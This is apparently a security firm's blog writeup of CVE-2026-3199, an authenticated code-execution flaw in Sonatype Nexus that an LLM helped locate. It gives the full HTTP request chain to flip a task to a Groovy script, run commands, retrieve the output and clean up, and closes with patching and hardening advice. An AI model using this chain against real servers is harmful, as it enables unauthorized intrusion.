Writeup to Weaponization: CVE-2026-3199 LLM-Assisted RCE Exploitation

6.11.26
WRITTEN BY
James Donlon & Cory Smith
Writeup to Weaponization: CVE-2026-3199 LLM-Assisted RCE Exploitation

TL;DR

CVE-2026-3199 is an authenticated Remote Code Execution (RCE) in Sonatype Nexus Repository, incorrectly tagged as CWE-502 (deserialization) in the NVD entry, which is awaiting enrichment. No existing blogs or detailed writeups were available at time of exploitation/writing. Armadin used a Large Language Model (LLM) to perform a diff on the massive, squashed patch commit to quickly identify the vulnerability, then weaponized it to achieve RCE on a default instance discovered on the Internet during an actual red team assessment.

Scenario

Armadin recently discovered an Internet-facing, default instance of Nexus on a client’s external network. After logging in with default credentials (admin:admin123), we realized there was nothing sensitive exposed and Groovy scripting was disabled. Instead of reporting and moving on, we dug into alternate RCE paths to fully test any possible kill chains that could have a business impact on our client. While looking for alternate RCE paths, we discovered CVE-2026-3199—an “awaiting enrichment” vulnerability disclosure from April 4, 2026.

Misleading CWE and Painful Patch Diff

Searching around, we realized there were scant details and were led to believe that this was a deserialization issue. While Nexus is on GitHub, Sonatype Nexus Repository Manager's squashed commit is over 300 files, with approximately 52,000 lines changed, and it includes features, refactors, frontend churn, and test updates, all with a one-line message: “Public export of Nexus code:”

If a human were to grep for “Task,” 20 to 30 candidates—including TaskComponent.java, which conveniently has one of the larger test diffs (610 lines)—might draw attention. Using the NVD entry, looking for deserialization-adjacent code, typeId/source handling, and authorization changes would take someone experienced with Java/Nexus at least several hours to find the core issue.

LLM for the Win

LLMs are especially useful for triaging large diffs and applying security-review judgement to every changed file in parallel, then surfacing a more targeted subset of results worth a closer look from a human. Armadin utilized an LLM to do this with a known-vulnerable version (3.90.2) and the patched version (3.91.0) of Sonatype Nexus Repository. Within approximately 30 minutes, the LLM pinpointed the four-line security fix in TaskComponent.java and correctly identified the issue: an improper authorization flaw/object modification in the update() handler, which trusted a client-supplied typeId field.

Any authenticated user with task-update permissions could flip an existing benign task to type script, then execute arbitrary Groovy in the Nexus Java Virtual Machine (JVM), bypassing the nexus.scripts.allowCreation hardening control intended to prevent exactly this situation. 

To put it in plain English, the update endpoint trusted the client to upload a harmless scheduled task, then change it to a script and execute arbitrary code.

Exploit Steps

Having identified the core issue, Armadin worked with the LLM to draft a Proof of Concept (PoC) to achieve RCE, using the following steps to execute code. In this case, the application was deployed on a Kubernetes pod. Armadin deployed a lab instance in Docker for testing purposes and for refining the PoC to a fully weaponized exploit.

Confirm Vulnerable Version

First, we needed to confirm the vulnerable version of the application.
curl -sk -u admin:admin123 http://localhost:8081/service/rest/atlas/system-information | jq '."nexus-status"'

Create Benign Task

A user with task creation and update permissions is required to exploit this issue. Create a benign task (any type works here). Make a POST to /service/extdirect with Content-Type: application/json and auth (basic, or session cookie + NX-ANTI-CSRF-TOKEN header that Nexus sets on login). The following is the request for an example benign task.

POST /service/extdirect HTTP/1.1 
Host: 10.0.0.1:8081 
Authorization: Basic YWRtaW46YWRtaW4xMjM= 
Content-Type: application/json
Content-Length: 247
{
  "action": "coreui_Task",
  "method": "create",
  "tid": 1,
  "type": "rpc",
  "data": [{
    "typeId": "security.purge-api-keys",
    "name": "diag-poc",
    "enabled": true,
    "alertEmail": "",
    "notificationCondition": "FAILURE",
    "schedule": "manual",
    "properties": {}
  }]
}

What to Look for in the Response

Save the result.data.id—you need it for step 2. If success: false, your account lacks nexus:tasks:create.

"tid": 1, "action": "coreui_Task", "method": "create", "type": "rpc", "result": {
  "success": true,
  "data": {
    "id": "<uuid>",
    ...
  }
}
}

Update Task, Flip to Script

After task creation, now flip the typeId to script. <GROOVY_HERE> is a placeholder for the payload - escape newlines as \n, since it is a JSON string.

POST /service/extdirect HTTP/1.1
Host: 10.0.0.1:8081
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Content-Type: application/json
Content-Length: <body bytes>

{
  "action": "coreui_Task",
  "method": "update",
  "tid": 2,
  "type": "rpc",
  "data": [{
    "id": "<TASK_ID_FROM_CREATE>",
    "typeId": "script",
    "name": "diag-poc",
    "enabled": true,
    "alertEmail": "",
    "notificationCondition": "FAILURE",
    "schedule": "manual",
    "runPreviousPlan": false,
    "properties": {
      "language": "groovy",
      "source": "log.info('=====BEGIN_PROBE=====');'id;whoami;uname -a'.execute().text.split('\\n').each{log.info('OUT|'+it)};log.info('=====END_PROBE=====')",
      ".typeId": "script",
      ".typeName": "Admin - Execute script"
    }
  }]
}

Notice the example/minimal Groovy you can drop into source for initial validation by executing id; whoami; uname -a:

log.info("=====BEGIN_PROBE====="); 
"id; whoami; uname -a".execute().text.split("\n").each { log.info("OUT|"+it) }; 
log.info("=====END_PROBE=====")

What to Look for in the Response

If you see the data.typeId field return as script, the flip succeeded.

{ "tid": 2, "result": { "success": true,
    "data": { "typeId": "script", "name": "diag-poc", ... } } }

Run Task and Confirm Output

At this point, you can check in the UI under Administration > System > Tasks > <your task> and view the edit page as Admin - Execute script type with the Groovy in the source editor. To run the task, make a request to the same endpoint (POST /service/extdirect) with method: run against the taskId.

POST /service/extdirect HTTP/1.1
Host: 10.0.0.1:8081
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Content-Type: application/json
Content-Length: <body bytes>

{
  "action": "coreui_Task",
  "method": "run",
  "tid": 3,
  "type": "rpc",
  "data": ["<TASK_ID_FROM_CREATE>"]
}

A successful response will indicate result.success: true with data: null. Give it 2 to 5 seconds, then you can retrieve command output by retrieving the support zip log. Make a POST to /service/rest/v1/support/supportzip (or retrieve from the UI):

POST /service/rest/v1/support/supportzip HTTP/1.1
Host: 10.0.0.1:8081
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Content-Type: application/json
Accept: application/zip
Content-Length: 60

{"taskLog":true,"limitFileSizes":true,"limitZipSize":true}

The only necessary file is the taskLog. Output from the Groovy log.info lands here. Select the newest log by filename, which is formatted like script-<yyyyMMddHHmmssSSS>.log. Example output:

2026-05-07 13:22:48,910+0000 INFO  [quartz-12-thread-20] *TASK org.sonatype.nexus.internal.script.ScriptTask - =====BEGIN_PROBE=====
2026-05-07 13:22:48,923+0000 INFO  [quartz-12-thread-20] *TASK org.sonatype.nexus.internal.script.ScriptTask - OUT|uid=200(nexus) gid=200(nexus) groups=200(nexus)

Cleanup

Be a good red teamer: don’t leave artifacts. Delete your task(s):

POST /service/extdirect HTTP/1.1
Host: 10.0.0.1:8081
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Content-Type: application/json
Content-Length: <body bytes>

{
  "action": "coreui_Task",
  "method": "remove",
  "tid": 4,
  "type": "rpc",
  "data": ["<TASK_ID_FROM_CREATE>"]
}

Full Exploit Chaining

To automate the full process as part of the attack chain, Armadin developed a full exploit to upload a task, flip it to a script with arbitrary Groovy, run the script, and retrieve the output.

Create Task

Flip typeId and Run Task

Retrieve Output and Delete Task

Defensive Considerations

The primary and most effective defense against CVE-2026-3199 is the immediate patching of Sonatype Nexus to version 3.91.0 or later. If an organization is currently running a version within the affected range of 3.22.1 to 3.90.2, we strongly recommend that you prioritize upgrading to the patched release immediately. Securing artifact infrastructure requires shifting away from default configurations and adopting strict least-privilege policies:

  1. Rotate default credentials immediately: Default software installations often rely on predictable, well-documented administrative credentials (such as admin:admin123). If an internal or external Nexus instance has not had its default administrative credentials rotated, treat the underlying host as compromised and immediately rotate the default credentials.
  2. Scope task permissions down: Successful exploitation of CVE-2026-3199 requires the attacker to have rights to create and update tasks. Navigate to Security > Roles in the Nexus UI and audit any accounts holding wildcard privileges (*) or explicit task permissions. Restrict these administrative capabilities exclusively to system administrators and core infrastructure accounts.
  3. Eliminate direct Internet exposure: Consider restricting access at the network layer using an Identity-Aware Proxy (IAP), VPN, or strict source IP allowlisting.
  4. Enforce strict version control and inventory tracking: Organizations must continuously audit their environments to identify legacy, shadow, or unpatched Nexus deployments. Administrators should programmatically query the application’s system information endpoint to discover active version headers across the network, automatically flagging any deployment falling below the secure 3.91.0 baseline.

Conclusion

The workflow and results from this scenario perfectly highlight the change that LLMs bring to vulnerability research, specifically in collapsing the timeline from vulnerability disclosure to exploitation. Despite sparse details and an incorrect CWE tag, we achieved full exploitation of this vulnerability in under two hours. Armadin continues to refine internal research processes to proactively analyze disclosed vulnerabilities that lack full writeups and working PoCs. This helps demonstrate the full impact of new issues as they arise, rather than unhelpful theoretical security guidance.

Learn more at Armadin.com.

Acknowledgments

Cory Smith contributed the defensive considerations for this blog post.

References

https://support.sonatype.com/hc/en-us/articles/50615414548499-CVE-2026-3199-Nexus-Repository-3-Authenticated-Remote-Code-Execution-2026-04-08

https://raw.githubusercontent.com/sonatype/nexus-public/release-3.91.0-07/public/common/components/nexus-coreui-plugin/src/main/java/org/sonatype/nexus/coreui/TaskComponent.java

Continue reading
Writeup to Weaponization: CVE-2026-3199 LLM-Assisted RCE Exploitation
Blog
6.11.26
Writeup to Weaponization: CVE-2026-3199 LLM-Assisted RCE Exploitation
Armadin Names Barbara Massa Chief Operating Officer
Press Release
News
6.8.26
Armadin Names Barbara Massa Chief Operating Officer
The End of the Known Adversary:  Why Security Strategies Must Change
Blog
6.2.26
The End of the Known Adversary: Why Security Strategies Must Change